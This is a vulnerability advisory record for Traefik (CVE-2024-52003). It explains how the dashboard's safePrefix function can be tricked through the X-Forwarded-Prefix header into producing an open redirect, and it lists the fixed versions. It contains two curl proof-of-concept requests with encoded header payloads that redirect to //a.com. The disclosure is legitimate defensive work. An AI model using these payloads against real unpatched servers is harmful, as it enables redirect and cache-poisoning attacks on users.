{"id":"GHSA-h924-8g65-j9wg","revision":"6491b7416a284e8aa513fe7bb1cfe550","records":[{"revision":"6491b7416a284e8aa513fe7bb1cfe550","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-h924-8g65-j9wg","aliases":["CVE-2024-52003","GO-2024-3299"],"title":"Traefik's X-Forwarded-Prefix Header still allows for Open Redirect","description":"### Impact\n\nThere is a vulnerability in Traefik that allows the client to provide the `X-Forwarded-Prefix` header from an untrusted source.\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.14\n- https://github.com/traefik/traefik/releases/tag/v3.2.1\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n### Summary\nThe previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL.\n\n\n\n### Details\nThe Traefik API [dashboard component](https://github.com/traefik/traefik/blob/master/pkg/api/dashboard/dashboard.go) tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:\n```go\nhttp.Redirect(resp, req, safePrefix(req)+\"/dashboard/\", http.StatusFound)\n```\n\n```go\nfunc safePrefix(req *http.Request) string {\n\tprefix := req.Header.Get(\"X-Forwarded-Prefix\")\n\tif prefix == \"\" {\n\t\treturn \"\"\n\t}\n\n\tparse, err := url.Parse(prefix)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\treturn parse.Path\n}\n```\n\n### PoC\nAn attacker can bypass this by sending the following payload:\n\n```bash\ncurl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'\n[...]\n> HTTP/1.1 302 Found\n> Location: //a.com/dashboard/\n```\n\nor similar:\n\n```bash\ncurl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'\n[...]\n> HTTP/1.1 302 Found\n> Location: //a.com/dashboard/\n```\n\n### Impact\nSimilar to the previously reported bug. In cache poisoning scenarios this may be exploitable.\n</details>","state":0,"publishedAt":"2024-12-02T17:12:38+00:00","modifiedAt":"2026-09-10T03:50:21.5948111+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.14"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.2.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-h924-8g65-j9wg","https://nvd.nist.gov/vuln/detail/CVE-2024-52003","https://github.com/traefik/traefik/pull/11253","https://github.com/traefik/traefik","https://github.com/traefik/traefik/releases/tag/v2.11.14","https://github.com/traefik/traefik/releases/tag/v3.2.1"],"sourceUrl":"https://github.com/advisories/GHSA-h924-8g65-j9wg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-h924-8g65-j9wg","identifiers":["GHSA-h924-8g65-j9wg","CVE-2024-52003","GO-2024-3299"]},"retained":false,"historicalAffected":[]}],"coverage":[]}